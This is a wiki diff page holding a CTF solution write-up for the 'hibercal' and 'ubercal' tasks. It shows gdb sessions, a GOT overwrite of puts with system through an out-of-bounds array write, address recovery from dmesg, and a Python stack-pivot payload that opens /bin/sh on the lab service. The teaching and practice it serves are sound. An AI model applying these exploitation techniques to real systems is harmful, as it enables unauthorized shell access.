User Tools

Site Tools


session:solution:mid-ctf_tasks2_4

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revision Previous revision
Next revision
Previous revision
session:solution:mid-ctf_tasks2_4 [2014/07/11 12:35]
rcaragea
session:solution:mid-ctf_tasks2_4 [2020/07/19 12:49] (current)
Line 10: Line 10:
  
 <code bash> <code bash>
-gdb ./hibercal+gdb ./hibercal
 gdb-peda$ pdis hibercal gdb-peda$ pdis hibercal
 Dump of assembler code for function hibercal: Dump of assembler code for function hibercal:
Line 137: Line 137:
 Let's try it. Let's try it.
 <code bash> <code bash>
- # gdb ./hibercal +gdb ./hibercal 
 gdb-peda$ p system gdb-peda$ p system
 $1 = {<text variable, no debug info>} 0x80486f0 <system@plt> $1 = {<text variable, no debug info>} 0x80486f0 <system@plt>
 gdb-peda$ quit gdb-peda$ quit
  
-python+python
 >>> 0x80486f0 >>> 0x80486f0
 134514416 134514416
  
-nc 127.0.0.1 4242+nc 127.0.0.1 4242
 Enter your name: Enter your name:
  
Line 161: Line 161:
  
 </code> </code>
 +
 +
 +===== Task 4 =====
 +
 +This task is said to be more secure than the previous one. Since we have the source to both let's do a diff.
 +<code diff>
 +--- hibercal.c 2014-07-06 15:56:04.000000000 +0300
 ++++ ubercal.c 2014-07-06 15:56:28.000000000 +0300
 +@@ -14,7 +14,7 @@
 + {
 +  printf("No chance to get here\n");
 +  printf("But let's write it on the Wall of Fame just in case\n");
 +- system("date >> /tmp/wall_of_fame.txt");
 ++ system("date >> /tmp/wall_of_fame2.txt");
 + }
 + 
 + 
 +@@ -24,9 +24,14 @@
 +  sleep(HIBER);
 + }
 + 
 +-void hibercal(char *name)
 ++void ubercal()
 + {
 +  int i, calendar[HIBER];
 ++
 ++ char name[100];
 ++ puts("Enter your name:\n");
 ++ scanf("%99s", name);
 ++
 +  for (i = 0 ; i < HIBER; i++)
 +  calendar[i] = 42;
 + 
 +@@ -52,21 +57,12 @@
 + 
 + void doprocessing(int sockfd)
 + {
 +- char buf[100];
 +  dup2(sockfd, 1);
 +  dup2(sockfd, 0);
 +  setbuf(stdout, NULL);
 +- puts("Enter your name:\n");
 +- scanf("%99s", buf);
 +- hibercal(buf);
 ++ ubercal();
 + }
 + 
 +-
 +-
 +-
 +-
 +-
 +-
 + int main(int argc, char **argv)
 + {
 +     int optval = 1;
 +@@ -132,7 +128,3 @@
 +         }
 +     }
 + }
 +</code>
 +
 +So the code is a bit rearranged. Let's test, as before, what we have on the stack at the point of "ret".
 +<code bash>
 +  0x080489c1 <+213>: call   0x80486e0 <puts@plt>
 +   0x080489c6 <+218>: lea    eax,[ebp-0xb0]
 +   0x080489cc <+224>: mov    DWORD PTR [esp],eax
 +   0x080489cf <+227>: call   0x80486e0 <puts@plt>
 +   0x080489d4 <+232>: leave  
 +   0x080489d5 <+233>: ret    
 +End of assembler dump.
 +gdb-peda$ break *0x080489d5
 +Breakpoint 1 at 0x80489d5
 +gdb-peda$ run 4242
 +Breakpoint 1, 0x080489d5 in ubercal ()
 +gdb-peda$ context stack
 +[------------------------------------stack-------------------------------------]
 +0000| 0xbfffed5c --> 0x8048a1c (<doprocessing+70>: leave)
 +0004| 0xbfffed60 --> 0xb7f9a9e0 --> 0xfbad2887 
 +0008| 0xbfffed64 --> 0x0 
 +0012| 0xbfffed68 --> 0x8661 
 +0016| 0xbfffed6c --> 0xbfffede8 --> 0x0 
 +0020| 0xbfffed70 --> 0xb7f99e54 --> 0x1a6d5c 
 +0024| 0xbfffed74 --> 0xb7f99e54 --> 0x1a6d5c 
 +0028| 0xbfffed78 --> 0xbfffede8 --> 0x0 
 +0032| 0xbfffed7c --> 0x8048bee (<main+464>: mov    DWORD PTR [esp],0x0)
 +0036| 0xbfffed80 --> 0x4 
 +0040| 0xbfffed84 --> 0xbfffeda8 --> 0x9ee40002 
 +0044| 0xbfffed88 --> 0xbfffedc8 --> 0x10 
 +0048| 0xbfffed8c --> 0xbfffedcc --> 0x1 
 +0052| 0xbfffed90 --> 0x4 
 +0056| 0xbfffed94 --> 0xbfffee84 --> 0xbffff05e ("/tmp/ctf/Task4/ubercal")
 +0060| 0xbfffed98 --> 0xb7e03060 --> 0x2a1d 
 +
 +[------------------------------------------------------------------------------]
 +
 +</code>
 +
 +Unfortunately, rearranging the code means that the name isn't placed on the stack anymore. We need to inspect the code further:
 +<code c>
 +void ubercal()
 +{
 +        int i, calendar[HIBER];
 +
 +        char name[100];
 +        puts("Enter your name:\n");
 +        scanf("%99s", name);
 +
 +        for (i = 0 ; i < HIBER; i++)
 +                calendar[i] = 42;
 +
 +        if (allowed_day == 0) {
 +                printf("You are allowed to write an entry in the %d-day hibernation calendar. What will it be? Make it a good one!\n", HIBER);
 +
 +                puts("Which day?");
 +                scanf("%d", &allowed_day);
 +
 +                puts("What do you want to write?");
 +                scanf("%d", &entry);
 +        } else {
 +                puts("You already wrote in my calendar");
 +        }
 +        calendar[allowed_day] = entry;
 +
 +        process_calendar(calendar);
 +
 +        puts("Goodbye");
 +        puts(name); // <=========================
 +}
 +</code>
 +
 +Notice **puts(name)**. Can we replace **puts** with **system**? Let's remember how **puts** works:
 +
 +<code bash>
 +gdb-peda$ context code
 +[-------------------------------------code-------------------------------------]
 +   0x80488e5 <process_calendar+13>: call   0x80486a0 <sleep@plt>
 +   0x80488ea <process_calendar+18>: leave  
 +   0x80488eb <process_calendar+19>: ret    
 +   0x80488ec <ubercal>: push   ebp
 +   0x80488ed <ubercal+1>: mov    ebp,esp
 +   0x80488ef <ubercal+3>: sub    esp,0xc8
 +   0x80488f5 <ubercal+9>: mov    DWORD PTR [esp],0x8048d0b
 +=> 0x80488fc <ubercal+16>: call   0x80486e0 <puts@plt>
 +   0x8048901 <ubercal+21>: lea    eax,[ebp-0xb0]
 +   0x8048907 <ubercal+27>: mov    DWORD PTR [esp+0x4],eax
 +   0x804890b <ubercal+31>: mov    DWORD PTR [esp],0x8048d1d
 +   0x8048912 <ubercal+38>: call   0x8048760 <__isoc99_scanf@plt>
 +   0x8048917 <ubercal+43>: mov    DWORD PTR [ebp-0xc],0x0
 +   0x804891e <ubercal+50>: jmp    0x804892f <ubercal+67>
 +   0x8048920 <ubercal+52>: mov    eax,DWORD PTR [ebp-0xc]
 +   0x8048923 <ubercal+55>: mov    DWORD PTR [ebp+eax*4-0x4c],0x2a
 +Guessed arguments:
 +arg[0]: 0x8048d0b ("Enter your name:\n")
 +[------------------------------------------------------------------------------]
 +
 +gdb-peda$ si
 +gdb-peda$ context code
 +[-------------------------------------code-------------------------------------]
 +   0x80486bb <htons@plt+11>: jmp    0x8048640
 +   0x80486c0 <perror@plt>: jmp    DWORD PTR ds:0x804a028
 +   0x80486c6 <perror@plt+6>: push   0x38
 +   0x80486cb <perror@plt+11>: jmp    0x8048640
 +   0x80486d0 <accept@plt>: jmp    DWORD PTR ds:0x804a02c
 +   0x80486d6 <accept@plt+6>: push   0x40
 +   0x80486db <accept@plt+11>: jmp    0x8048640
 +=> 0x80486e0 <puts@plt>: jmp    DWORD PTR ds:0x804a030
 + | 0x80486e6 <puts@plt+6>: push   0x48
 + | 0x80486eb <puts@plt+11>: jmp    0x8048640
 + | 0x80486f0 <system@plt>: jmp    DWORD PTR ds:0x804a034
 + | 0x80486f6 <system@plt+6>: push   0x50
 + | 0x80486fb <system@plt+11>: jmp    0x8048640
 + | 0x8048700 <__gmon_start__@plt>: jmp    DWORD PTR ds:0x804a038
 + | 0x8048706 <__gmon_start__@plt+6>: push   0x58
 + | 0x804870b <__gmon_start__@plt+11>: jmp    0x8048640
 + |->   0x80486e6 <puts@plt+6>: push   0x48
 +       0x80486eb <puts@plt+11>: jmp    0x8048640
 +       0x80486f0 <system@plt>: jmp    DWORD PTR ds:0x804a034
 +       0x80486f6 <system@plt+6>: push   0x50
 +       0x80486fb <system@plt+11>: jmp    0x8048640
 +       0x8048700 <__gmon_start__@plt>: jmp    DWORD PTR ds:0x804a038
 +       0x8048706 <__gmon_start__@plt+6>: push   0x58
 +       0x804870b <__gmon_start__@plt+11>: jmp    0x8048640
 +                                                                  JUMP is taken
 +[------------------------------------------------------------------------------]
 +gdb-peda$ telescope 0x804a030
 +0000| 0x804a030 --> 0x80486e6 (<puts@plt+6>: push   0x48)
 +0004| 0x804a034 --> 0x80486f6 (<system@plt+6>: push   0x50)
 +
 +</code>
 +It uses the PLT/GOT mechanism as we discussed in previous sessions. It uses a table of function pointers that initially point back in the program to a resolution procedure. After being called once the function pointers are **written** with the correct address. So the table is writable! We can write the address of system into puts.
 +
 +But hold on! This would require an absolute arbitrary write while we only have a relative arbitrary write. Can we still solve it? In this case yes, as the keen observer would see that both Tasks 2 & 4 run on the same machine:
 +  * Task 2: HiberCal => exploit task (source provided)  **150 points**
 +    * ec2-54-76-236-87.eu-west-1.compute.amazonaws.com 31337 
 +  * Task 4: UberCal => harder exploit, variation on task 2  **300 points**
 +    * ec2-54-76-236-87.eu-west-1.compute.amazonaws.com 31338
 +
 +How does that help us?  The analogy is the following:
 +We have an arbitrary write at **X + 4 * Y = Z**. We control Y but we don't know X. What about Z? 
 +
 +Remember good old Segmentation Fault! If we acess an invalid memory address the program receives SEGV and is killed by the kernel. The kernel also logs to **dmesg** the location of the invalid address. But we have access to **dmesg** on that machine since we solved the previous challenge.
 +
 +<code bash>
 +$ nc 127.0.0.1 4242
 +Enter your name:
 +
 +test
 +You are allowed to write an entry in the 16-day hibernation calendar. What will it be? Make it a good one!
 +Which day?
 +-100000
 +What do you want to write?
 +1
 +$ dmesg|tail -1
 +ubercal[23403]: segfault at bff9d2ac ip 00000000080489ab sp 00000000bfffecb0 error 6 in ubercal[8048000+1000]
 +</code>
 +
 +So Z = 0xbff9d2ac, Y = -100000. It's trivial to solve for X: 0xbfffed4c
 +
 +If you followed everything so far you know we have all we need for the exploit.
 +Writing to Z=0x804a030 requires us to use Y= (0x804a030-0xbfffed4c)/4 = -771674951. The value to be written can be the one from system (0x80486f6)
 +
 +<code bash>
 +$ nc 127.0.0.1 4242
 +Enter your name:
 +
 +/bin/sh
 +You are allowed to write an entry in the 16-day hibernation calendar. What will it be? Make it a good one!
 +Which day?
 +-771674951
 +What do you want to write?
 +134514422
 +date
 +Fri Jul 11 13:06:50 EEST 2014
 +</code>
 +
 +Works as expected!
 +
 +==== Solving using Paul's idea (stack pivoting) ====
 +During the CTF Paul mentioned that he sees the solution as corrupting the stack frame so that when the function returns you get more "room" where to write both **system** and its argument.
 +It's a much more difficult solution but doable. Let's try it.
 +
 +The whole idea is to use the **leave** and **ret** set of instructions to do some magic.
 +**leave** esentially does
 +<code asm>
 +mov esp, ebp
 +pop ebp
 +</code>
 +
 +So the top of the stack now points to the saved ebp and ebp is restored from this new top of the stack.
 +Remember that we can overwrite the return address. But we can also overwrite the saved ebp just as well.
 +
 +If we replace ebp with 0x41424344 only the ebp will change. Remember that we would like a primitive that does **mov esp, ARBITRARY**.
 +Luckily, immediately after **leave** and **ret** the next set of instructions is another **leave** and **ret**.
 +
 +So the context is the following:
 +<code>
 +Initially:                            ESP = old_esp, EBP = current_ebp, saved_ebp = our_input
 +After leave part1 (mov esp, ebp):     ESP = current_ebp    EBP = current_ebp,   saved_ebp = our_input
 +After leave part2 (pop ebp):          ESP = current_ebp + 4    EBP = saved_ebp = our_input
 +
 +After return:                         ESP = current_ebp + 8     EBP = our_input
 +
 +
 +After leave part1 (mov esp, ebp):     ESP = our_input,      EBP = our_input
 +After leave part2 (pop ebp):          ESP = our_input + 4   EBP= first 4 bytes at the address "our_input"
 +
 +After return:                         ESP = our_input + 8   EIP=bytes 4:7 at the address "our_input"     EBP= first 4 bytes at the address "our_input"
 +</code>
 +
 +We can control EIP with bytes 4:7 and the stack as well.
 +We can reuse the instruction at 0x080488d1:
 +<code asm>
 +   0x080488ca <+30>: mov    DWORD PTR [esp],0x8048cec
 +   0x080488d1 <+37>: call   0x80486f0 <system@plt>
 +</code>
 +We see the call to **system** expects the parameter to be right on the top of the stack.
 +Our payload should now be like this:
 +<code>
 +00: value of our_input
 +04: 0x080488d1 (call to system)
 +08: address that holds the command given to system
 +0c: ????
 +</code>
 +
 +Since the only buffer we control is the name we want the following:
 +<code>
 +name+00 : address of name
 +name+04 : 0x080488d1 (call to system)
 +name+08 : address of name+0c
 +name+0c : the actual command
 +</code>
 +
 +All we need now is to find out the address of the **name** buffer. We have the following snippets:
 +
 +<code asm>
 +   0x080489c6 <+218>: lea    eax,[ebp-0xb0]
 +   0x080489cc <+224>: mov    DWORD PTR [esp],eax
 +   0x080489cf <+227>: call   0x80486e0 <puts@plt>
 +
 +
 +
 +   0x080489af <+195>: lea    eax,[ebp-0x4c]
 +   0x080489b2 <+198>: mov    DWORD PTR [esp],eax
 +   0x080489b5 <+201>: call   0x80488d8 <process_calendar>
 +</code>
 +So
 +<code>
 +
 +name = ebp - 0xb0
 +calendar = ebp - 0x4c
 +
 +
 +name - calendar = - 0xb0 + 0x4c = -100
 +
 +name = calendar - 100
 +</code>
 +But we already know the address of **calendar** from before. It's X from the previous solution using dmesg.
 +
 +The only thing that remains is to pass the value of ebp correctly. Since **allowed_day** is declared as a signed integer we need to convert it.
 +
 +The full python script is:
 +<code python>
 +#!/usr/bin/python
 +import struct,sys;
 +
 +
 +segv_addr = 0xbff9dc5c
 +calendar_addr = segv_addr + 100000 * 4
 +buffer_addr = calendar_addr - 100
 +
 +
 +
 +val = struct.unpack("<i", struct.pack("<I", buffer_addr))
 +
 +sys.stderr.write(" Use 19 and %s as input\n" % val)
 +
 +
 +
 +payload = struct.pack('<I', buffer_addr)
 +payload += struct.pack('<I', 0x080488d1)
 +payload += struct.pack('<I', buffer_addr + 12) #skip these first 4 + 4 + 4  bytes
 +payload += "/bin/sh"
 +
 +print payload
 +
 +</code>
 +
 +And now we try it:
 +<code bash>
 +$ cat <(python gen_input.py) - | nc 127.0.0.1 4242
 +Enter your name:
 +
 + Use 19 and -1073746712 as input
 +You are allowed to write an entry in the 16-day hibernation calendar. What will it be? Make it a good one!
 +Which day?
 +19
 +What do you want to write?
 +-1073746712
 +Goodbye
 +èìÿ¿ôìÿ¿/bin/sh
 +date
 +Fri Jul 11 13:50:37 EEST 2014
 +ls
 +Makefile
 +README
 +ubercal
 +ubercal.c
 +
 +</code>
 +
  
session/solution/mid-ctf_tasks2_4.1405071323.txt.gz · Last modified: 2014/07/11 12:35 by rcaragea